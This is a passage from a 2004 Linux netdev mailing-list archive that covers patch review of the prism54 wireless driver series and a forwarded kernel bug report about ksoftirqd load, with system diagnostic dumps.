Fix prism54.org bugs 74, 75 > [PATCH 7/14 linux-2.6.7-rc1] prism54: Fix 2.4 build > [PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 > [PATCH 9/14 linux-2.6.7-rc1] prism54: Fix prism54.org bug 77; strengthened oid transaction > [PATCH 10/14 linux-2.6.7-rc1] prism54: Don't allow mib reads while unconfigured > [PATCH 11/14 linux-2.6.7-rc1] prism54: Touched up kernel compatibility > [PATCH 12/14 linux-2.6.7-rc1] prism54: Start using likely/unlikely > [PATCH 13/14 linux-2.6.7-rc1] prism54: Fix 2.4 SMP build > [PATCH 14/14 linux-2.6.7-rc1] prism54: Fix channel stats; bump to 1.2 I'm reviewing these now. I am worried though -- the first couple patches include a TON of whitespace changes and cleanups unrelated to the patch at hand. This makes it MUCH more difficult to review each patch. I'm considering rejecting the entire series because of this obfuscation of changes, and getting you to resend with the whitespace crapola separated out. Jeff From schizo@debian.org Thu May 27 11:25:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:25:47 -0700 (PDT) Received: from acolyte.scowler.net (acolyte.scowler.net [216.254.112.45]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIPcgi003655 for ; Thu, 27 May 2004 11:25:38 -0700 Received: from localhost (localhost [127.0.0.1]) by acolyte.scowler.net (Postfix) with ESMTP id 209817004D; Thu, 27 May 2004 14:25:32 -0400 (EDT) Received: from acolyte.scowler.net ([127.0.0.1]) by localhost (acolyte [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 08776-02-3; Thu, 27 May 2004 14:25:31 -0400 (EDT) Received: by acolyte.scowler.net (Postfix, from userid 1000) id BF08E7004C; Thu, 27 May 2004 14:25:31 -0400 (EDT) Date: Thu, 27 May 2004 14:25:31 -0400 From: Clint Adams To: Jeff Garzik Cc: "Luis R. Rodriguez" , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org, debian-kernel@lists.debian.org Subject: Re: [Prism54-devel] Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040527182531.GA8942@scowler.net> Mail-Followup-To: Clint Adams , Jeff Garzik , "Luis R. Rodriguez" , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org, debian-kernel@lists.debian.org References: <20040524083003.GA3330@ruslug.rutgers.edu> <40B63132.4050906@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B63132.4050906@pobox.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at scowler.net X-archive-position: 5400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schizo@debian.org Precedence: bulk X-list: netdev > >[PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 > I'm considering rejecting the entire series because of this obfuscation > of changes, and getting you to resend with the whitespace crapola > separated out. Please at least apply the changes in the "8/14" patch, because without them the driver is unusable on big-endian architectures. From jgarzik@pobox.com Thu May 27 11:39:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:39:43 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIdcgi004130 for ; Thu, 27 May 2004 11:39:39 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPmz-0002Yd-AR; Thu, 27 May 2004 19:39:37 +0100 Message-ID: <40B635DC.4070708@pobox.com> Date: Thu, 27 May 2004 14:39:24 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep References: <20040524083003.GA3330@ruslug.rutgers.edu> In-Reply-To: <20040524083003.GA3330@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Luis R. Rodriguez wrote: > Jeff, > > Please apply the following patches to linux-2.6.7-rc1. These patches > bring the kernel tree up to sync with prism54.org's 1.2's release. > > [PATCH 1/14 linux-2.6.7-rc1] prism54: add new private ioctls Change OK once cleanups are moved to separate patch. > [PATCH 2/14 linux-2.6.7-rc1] prism54: reset card on tx_timeout OK > [PATCH 3/14 linux-2.6.7-rc1] prism54: add iwspy support Change OK, patch rejected due to Lindent (!!!) being included in this patch as well as functional changes. > [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in monitor mode OK > [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility rejected, see Arjan's comments also, prismcompat24.h doesn't belong in the 2.6 kernel. > [PATCH 6/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 74, 75 OK > [PATCH 7/14 linux-2.6.7-rc1] prism54: Fix 2.4 build rejected, as per comment for patch #5 > [PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 cleanups and bug fixes mixed together in same patch. Change OK once cleanups are moved to separate patch. > [PATCH 9/14 linux-2.6.7-rc1] prism54: Fix prism54.org bug 77; strengthened oid transaction More functional changes mixed in with whitespace and formatting cleanups. Change OK once cleanups are moved to separate patch. > [PATCH 10/14 linux-2.6.7-rc1] prism54: Don't allow mib reads while unconfigured Change OK once cleanups are moved to separate patch. > [PATCH 11/14 linux-2.6.7-rc1] prism54: Touched up kernel compatibility Rejected due to patch #5 comments. > [PATCH 12/14 linux-2.6.7-rc1] prism54: Start using likely/unlikely Use of likely()/unlikely() is OK. A change to skb_reserve() was snuck into this patch, completely unrelated to $subject. Also, meaningless cleanups obscure things here too. > [PATCH 13/14 linux-2.6.7-rc1] prism54: Fix 2.4 SMP build I agree with this change, but this patch also includes unrelated changes!! > [PATCH 14/14 linux-2.6.7-rc1] prism54: Fix channel stats; bump to 1.2 OK Summary: I'm glad you broke up the changes into multiple patches. Thank you. However, the patches were separated in non-sensical ways. Follow these guidelines: 1) With this many patches, cosmetic changes (whitespace, formatting, Lindent) should be in separate patches from functional changes. 2) Fully describe all the changes in the patch. If a patch says "fix 2.4 SMP build", it should do that and nothing else. 3) Kernel compatibility is achieved by coding for the latest kernel (2.6.x), and then creating back-compat definitions that make the 2.6.x API (as it's used in your driver) work under earlier kernels. This is known as the "kcompat" approach. See the kcompat toolkit at http://sf.net/projects/gkernel/ for examples. Please resend the patch series with the changes requested. It is OK if you lump Lindent/whitespace/formatting changes into one big patch, if you wish -- assuming that patch contains nothing else. Jeff From akpm@osdl.org Thu May 27 11:53:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:53:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIrmgi008015 for ; Thu, 27 May 2004 11:53:48 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4RIrgr29249; Thu, 27 May 2004 11:53:42 -0700 Date: Thu, 27 May 2004 11:53:11 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: dav@neocom.fr Subject: Fw: [Bugme-new] [Bug 2782] New: ksoftirqd load system, kernel hang after a few minuts Message-Id: <20040527115311.472d3c3a.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Suggest you try an up-to-date kernel. Begin forwarded message: Date: Thu, 27 May 2004 09:19:49 -0700 From: bugme-daemon@osdl.org To: bugme-new@lists.osdl.org Subject: [Bugme-new] [Bug 2782] New: ksoftirqd load system, kernel hang after a few minuts http://bugme.osdl.org/show_bug.cgi?id=2782 Summary: ksoftirqd load system, kernel hang after a few minuts Kernel Version: 2.4.20-2.4.22 Status: NEW Severity: blocking Owner: other_other@kernel-bugs.osdl.org Submitter: dav@neocom.fr Distribution: Linux/RedHat 9/x86 Hardware Environment:DELL PowerEdge-Dual Intel Xeon CPU 2.4G+hyperthreading Software Environment:RedHat 9 Problem Description:when network flow is near 15 Mb/s bandwith, ksoftirqd loads and kernel freeze after a few minuts Steps to reproduce: 1. Boot system, 2. put linux system into 2 subnets, 3. generate 15Mb/s bandwith between to interface and wait for 1 hour --- additional informations --- This occurs with a lot of kernel tested (2.4.20, 2.4.21, 2.4.22, 2.4.22-ac4) and with standard linux RedHat kernel up to kernel-smp-2.4.20-28.9.i686.rpm. Datas collected when problem occurs : # cat /proc/version Linux version 2.4.20-8smp (bhcompile@porky.devel.redhat.com) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 SMP Thu Mar 13 17:45:54 EST 2003 # w | head -1 22:34:33 up 21 days, 8:04, 3 users, load average: 1.17, 1.02, 0.99 # ps axuw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1372 472 ? S Oct07 0:20 init root 2 0.0 0.0 0 0 ? SW Oct07 0:00 [migration/0] root 3 0.0 0.0 0 0 ? SW Oct07 0:00 [migration/1] root 4 0.0 0.0 0 0 ? SW Oct07 0:00 [migration/2] root 5 0.0 0.0 0 0 ? SW Oct07 0:00 [migration/3] root 6 0.0 0.0 0 0 ? SW Oct07 0:00 [keventd] root 7 6.0 0.0 0 0 ? RWN Oct07 1862:18 [ksoftirqd_CPU0] root 8 0.0 0.0 0 0 ? SWN Oct07 0:00 [ksoftirqd_CPU1] root 9 0.0 0.0 0 0 ? SWN Oct07 0:00 [ksoftirqd_CPU2] root 10 0.0 0.0 0 0 ? SWN Oct07 0:00 [ksoftirqd_CPU3] root 15 0.0 0.0 0 0 ? SW Oct07 0:00 [bdflush] root 11 0.0 0.0 0 0 ? SW Oct07 0:11 [kswapd] root 12 0.0 0.0 0 0 ? SW Oct07 0:00 [kscand/DMA] root 13 0.0 0.0 0 0 ? SW Oct07 4:43 [kscand/Normal] root 14 0.0 0.0 0 0 ? SW Oct07 5:47 [kscand/HighMem] root 16 0.0 0.0 0 0 ? SW Oct07 0:05 [kupdated] root 17 0.0 0.0 0 0 ? SW Oct07 0:00 [mdrecoveryd] root 23 0.0 0.0 0 0 ? SW Oct07 0:00 [aacraid] root 24 0.0 0.0 0 0 ? SW Oct07 0:00 [scsi_eh_0] root 27 0.0 0.0 0 0 ? SW Oct07 0:02 [kjournald] root 84 0.0 0.0 0 0 ? SW Oct07 0:00 [khubd] root 642 0.0 0.0 0 0 ? SW Oct07 0:00 [kjournald] root 643 0.0 0.0 0 0 ? SW Oct07 0:13 [kjournald] root 1210 0.0 0.0 1448 588 ? S Oct07 0:09 syslogd -m 0 root 1214 0.0 0.0 1368 428 ? S Oct07 0:00 klogd -x root 1266 0.0 0.1 3580 1396 ? S Oct07 0:02 /usr/sbin/sshd .../... When system is loaded (by process ksoftirq_CPU0), some datas are lost (monitorring system reports each 10 minuts CRITICAL alerts => 50% of warning report for packet lost). report trafic when this issue occurs is like this : .../... eth5|Recv: 2.169G|Sent: 1.591G|Recv Speed: 1.25Kb/s|Sent speed: 1.03Mb/s| eth5|Recv: 2.169G|Sent: 1.594G|Recv Speed: 0b/s|Sent speed: 776.96Kb/s| eth5|Recv: 2.169G|Sent: 1.596G|Recv Speed: 1.75Kb/s|Sent speed: 958.87Kb/s| eth5|Recv: 2.169G|Sent: 1.599G|Recv Speed: 939b/s|Sent speed: 978.17Kb/s| eth5|Recv: 2.169G|Sent: 1.603G|Recv Speed: 640b/s|Sent speed:1009.87Kb/s| eth5|Recv: 2.169G|Sent: 1.607G|Recv Speed: 85b/s|Sent speed: 1.29Mb/s| eth5|Recv: 2.169G|Sent: 1.611G|Recv Speed: 853b/s|Sent speed: 1.28Mb/s| eth5|Recv: 2.169G|Sent: 1.615G|Recv Speed: 0b/s|Sent speed: 1.68Mb/s| .../... And we can see : # cat /proc/interrupts CPU0 CPU1 CPU2 CPU3 0: 184391788 0 0 0 IO-APIC-edge timer 1: 953 0 0 0 IO-APIC-edge keyboard 2: 0 0 0 0 XT-PIC cascade 5: 0 0 0 0 IO-APIC-level usb-ohci 8: 1 0 0 0 IO-APIC-edge rtc 14: 2 0 0 0 IO-APIC-edge ide0 16: 6640100 0 0 0 IO-APIC-level eth0 20: 2347915 0 0 0 IO-APIC-level eth2 21: 3242586 0 0 0 IO-APIC-level eth3 28: 1362515262 0 0 0 IO-APIC-level eth4 29: 1127825818 0 0 0 IO-APIC-level eth5 30: 831193 0 0 0 IO-APIC-level aacraid NMI: 0 0 0 0 LOC: 184394043 184394090 184394090 184394089 ERR: 0 MIS: 0 .../... eth4 Link encap:Ethernet HWaddr 00:06:5B:F3:61:5F inet addr:192.168.20.245 Bcast:192.168.20.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2184189475 errors:0 dropped:0 overruns:0 frame:0 TX packets:2195331 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:717500525 (684.2 Mb) TX bytes:153729558 (146.6 Mb) Interrupt:28 eth5 Link encap:Ethernet HWaddr 00:06:5B:F3:61:60 inet addr:194.xxx.xxx.248 Bcast:194.xxx.xxx.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:26145681 errors:0 dropped:0 overruns:0 frame:0 TX packets:2205082845 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2328890724 (2221.0 Mb) TX bytes:1860452584 (1774.2 Mb) Interrupt:29 # cat /proc/modules tg3 52904 2 e100 62340 3 ipt_LOG 4280 0 (autoclean) ipt_limit 1688 0 (autoclean) ipt_REJECT 3928 0 (autoclean) iptable_mangle 2776 0 (autoclean) (unused) ipt_state 1080 0 (autoclean) iptable_nat 22904 0 (autoclean) ip_conntrack 29696 2 (autoclean) [ipt_state iptable_nat] iptable_filter 2412 0 (autoclean) ip_tables 15864 9 [ipt_LOG ipt_limit ipt_REJECT iptable_mangle ipt_state iptable_nat iptable_filter] keybdev 2976 0 (unused) mousedev 5656 0 (unused) hid 22308 0 (unused) input 6208 0 [keybdev mousedev hid] usb-ohci 22216 0 (unused) usbcore 82592 1 [hid usb-ohci] ext3 73376 3 jbd 56336 3 [ext3] aacraid 32580 4 sd_mod 13452 8 scsi_mod 110488 2 [aacraid sd_mod] # cat /proc/ioports 0000-001f : dma1 0020-003f : pic1 0040-005f : timer 0060-006f : keyboard 0070-007f : rtc 0080-008f : dma page reg 00a0-00bf : pic2 00c0-00df : dma2 00f0-00ff : fpu 01f0-01f7 : ide0 02f8-02ff : serial(auto) 03c0-03df : vga+ 03f6-03f6 : ide0 03f8-03ff : serial(auto) 08b0-08bf : ServerWorks CSB5 IDE Controller 08b0-08b7 : ide0 08b8-08bf : ide1 0cf8-0cff : PCI conf1 9000-9fff : PCI Bus #07 9800-98ff : Adaptec RAID subsystem HBA (#2) 9c00-9cff : Adaptec RAID subsystem HBA c000-cfff : PCI Bus #03 ccc0-ccdf : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#4) ccc0-ccdf : e100 cce0-ccff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#3) cce0-ccff : e100 d000-dfff : PCI Bus #02 dcc0-dcdf : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#2) dcc0-dcdf : e100 dce0-dcff : Intel Corp. 82557/8/9 [Ethernet Pro 100] dce0-dcff : e100 e800-e8ff : ATI Technologies Inc Rage XL ec80-ecbf : Dell Computer Corporation PowerEdge Expandable RAID Controller 3/Di ece8-ecef : Dell Computer Corporation Embedded Systems Management Device 4 ecf4-ecf7 : PCI device 1028:000d (Dell Computer Corporation) ecf8-ecff : Dell Computer Corporation Embedded Systems Management Device 4 # cat /proc/iomem 00000000-0009ffff : System RAM 000a0000-000bffff : Video RAM area 000c0000-000c7fff : Video ROM 000cc000-000cc5ff : Extension ROM 000f0000-000fffff : System ROM 00100000-3ffeffff : System RAM 00100000-002720eb : Kernel code 002720ec-00383ba3 : Kernel data 3fff0000-3fffebff : ACPI Tables 3fffec00-3fffefff : reserved f0000000-f7ffffff : Dell Computer Corporation PowerEdge Expandable RAID Controller 3 fc300000-fc4fffff : PCI Bus #07 fc3fe000-fc3fefff : Adaptec RAID subsystem HBA (#2) fc3ff000-fc3fffff : Adaptec RAID subsystem HBA fc600000-fc60ffff : Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet (#2) fc600000-fc60ffff : tg3 fc610000-fc61ffff : Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet fc610000-fc61ffff : tg3 fc700000-fc7fffff : PCI Bus #03 fc7fe000-fc7fefff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#4) fc7fe000-fc7fefff : e100 fc7ff000-fc7fffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#3) fc7ff000-fc7fffff : e100 fc800000-fc8fffff : PCI Bus #02 fc8fe000-fc8fefff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#2) fc8fe000-fc8fefff : e100 fc8ff000-fc8fffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] fc8ff000-fc8fffff : e100 fca00000-fccfffff : PCI Bus #03 fca00000-fcafffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#4) fca00000-fcafffff : e100 fcb00000-fcbfffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#3) fcb00000-fcbfffff : e100 fcd00000-fcffffff : PCI Bus #02 fcd00000-fcdfffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] (#2) fcd00000-fcdfffff : e100 fce00000-fcefffff : Intel Corp. 82557/8/9 [Ethernet Pro 100] fce00000-fcefffff : e100 fd000000-fdffffff : ATI Technologies Inc Rage XL fe100000-fe100fff : ServerWorks OSB4/CSB5 OHCI USB Controller fe100000-fe100fff : usb-ohci fe101000-fe101fff : ATI Technologies Inc Rage XL fe102000-fe102fff : Dell Computer Corporation PowerEdge Expandable RAID Controller 3/Di feb00000-feb7ffff : Dell Computer Corporation PowerEdge Expandable RAID Controller 3/Di feb80000-feb80fff : Dell Computer Corporation Embedded Systems Management Device 4 fec00000-fec0ffff : reserved fee00000-fee0ffff : reserved fff80000-ffffffff : reserved 00:00.0 Host bridge: ServerWorks CMIC-LE (rev 13) Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- [disabled] [size=128K] Capabilities: [5c] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2- ,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:0f.0 Host bridge: ServerWorks CSB5 South Bridge (rev 93) Subsystem: ServerWorks CSB5 South Bridge Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- Region 1: I/O ports at Region 2: I/O ports at Region 3: I/O ports at Region 4: I/O ports at 08b0 [size=16] 00:0f.2 USB Controller: ServerWorks OSB4/CSB5 OHCI USB Controller (rev 05) (prog-if 10 [OHCI]) Subsystem: ServerWorks OSB4/CSB5 OHCI USB Controller Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Reset- FastB2B- Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2- ,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- Bridge: PM- B3+ 01:08.0 PCI bridge: Intel Corp. 21152 PCI-to-PCI Bridge (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Reset- FastB2B- Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2- ,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- Bridge: PM- B3+ 02:04.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100] (rev 05) Subsystem: Intel Corp. EtherExpress PRO/100+ Dual Port Adapter Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Reset- FastB2B- Capabilities: [68] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2- ,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 06:08.1 RAID bus controller: Dell Computer Corporation PowerEdge Expandable RAID Controller 3 (rev 01) Subsystem: Dell Computer Corporation PowerEdge Expandable RAID Controller 3/Di Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=slow >TAbort- SERR- TAbort- SERR- TAbort- SERR- ; Thu, 27 May 2004 12:07:42 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4RJ6Er31822; Thu, 27 May 2004 12:06:14 -0700 Date: Thu, 27 May 2004 12:05:44 -0700 From: Andrew Morton To: Jeff Garzik Cc: schizo@debian.org, mcgrof@studorgs.rutgers.edu, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org, debian-kernel@lists.debian.org Subject: Re: [Prism54-devel] Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-Id: <20040527120544.2fbd4b35.akpm@osdl.org> In-Reply-To: <40B63639.6080705@pobox.com> References: <20040524083003.GA3330@ruslug.rutgers.edu> <40B63132.4050906@pobox.com> <20040527182531.GA8942@scowler.net> <40B63639.6080705@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Jeff Garzik wrote: > > Luis, you, or somebody should create a new patch series with just the > critical fixes, NO WHITESPACE/FORMATTING CHANGES mixed in, and send > those first. Whitespace changes are often nice, but they should be the very first patch[es] in the series. You should be able to verify that the .o file was unchanged before and after. That way they become a no-brainer and it becomes easier to review and understand the substantive changes. From jgarzik@pobox.com Thu May 27 12:13:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:13:49 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJDkgi010407 for ; Thu, 27 May 2004 12:13:47 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTQK2-00037F-20; Thu, 27 May 2004 20:13:46 +0100 Message-ID: <40B63DDE.1080303@pobox.com> Date: Thu, 27 May 2004 15:13:34 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com Subject: Re: [PATCH] remove broken bitfield use from via-rhine References: <20040522231117.GA3416@infradead.org> In-Reply-To: <20040522231117.GA3416@infradead.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev looks OK, forwarded to maintainer Roger Luethi From mcgrof@studorgs.rutgers.edu Thu May 27 12:16:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:16:54 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJGngi010754 for ; Thu, 27 May 2004 12:16:50 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 5A084F9D4C; Thu, 27 May 2004 15:16:49 -0400 (EDT) Date: Thu, 27 May 2004 15:16:49 -0400 To: Jeff Garzik Cc: Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in Message-ID: <20040527191649.GT3330@ruslug.rutgers.edu> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083146.GE3330@ruslug.rutgers.edu> <40B631B3.4000902@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="TYLBaaOo3Zs/tS0r" Content-Disposition: inline In-Reply-To: <40B631B3.4000902@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --TYLBaaOo3Zs/tS0r Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 27, 2004 at 02:21:39PM -0400, Jeff Garzik wrote: > Luis R. Rodriguez wrote: > >diff -u -r1.31 -r1.33 > >--- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 200= 4=20 > >15:27:44 -0000 1.31 > >+++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 19 Mar 200= 4=20 > >23:03:58 -0000 1.33 > >@@ -1,4 +1,4 @@ > >-/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03/1= 8=20 > >15:27:44 ajfa Exp $ > >+/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/1= 9=20 > >23:03:58 ajfa Exp $ >=20 >=20 > Please remove CVS substitions from your code, they cause endless patch=20 > rejects if I choose to apply (for example) 10 out of 14 patches. Will do. So if you get=20 --- ksrc/islpci_eth.c +++ ksrc-new/islpci_eth.c patches, that'll be OK? I substituted ksrc to linux-2.6.7-rc1/drivers/net/wireless/prism54 thinking that'll ease your job. Sorry for any inconvenience. Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --TYLBaaOo3Zs/tS0r Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAtj6hat1JN+IKUl4RAhXqAJ4xlthMjtIO6OPRalzWJwFW2eNXYACaA59Z 86IeyaE6d3bplSB04Z2UYpY= =c7nD -----END PGP SIGNATURE----- --TYLBaaOo3Zs/tS0r-- From jgarzik@pobox.com Thu May 27 12:23:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:23:05 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJN2gi014245 for ; Thu, 27 May 2004 12:23:03 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTQSu-0003DI-6b; Thu, 27 May 2004 20:22:56 +0100 Message-ID: 